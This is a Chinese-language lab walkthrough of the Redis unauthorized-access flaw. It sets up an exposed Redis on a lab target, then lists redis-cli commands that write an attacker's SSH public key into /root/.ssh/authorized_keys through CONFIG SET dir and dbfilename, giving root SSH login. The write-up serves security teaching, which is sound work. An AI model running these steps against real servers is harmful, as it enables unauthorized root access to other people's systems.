redis未授权访问获取用户权限
漏洞描述
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
环境搭建
在靶机上搭好redis 地址10.242.164.85
修改配置文件 redis.conf 注释bind 127.0.0.1
将protected-mode 改成no
重启
./redis-service ../redis.conf
漏洞复现
1、在kali上生成公钥和私钥
ssh-keygen -t rsa
2、 进入/root/.ssh目录: cd /root/.ssh , 讲生成的公钥保存到1.txt(名字随意)
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > 1.txt
3、链接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入)
cat 1.txt | redis-cli -h 10.242.164.85 -x set crack
4、重新连接上redis服务器 并使用 CONFIG GET dir 命令得到Redis备份的路径
CONFIG GET dir
5、 更改Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
config set dir /root/.ssh
6、设置上传公钥的备份文件名字为authorized_keys
CONFIG SET dbfilename authorized_keys
7、检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出
连接成功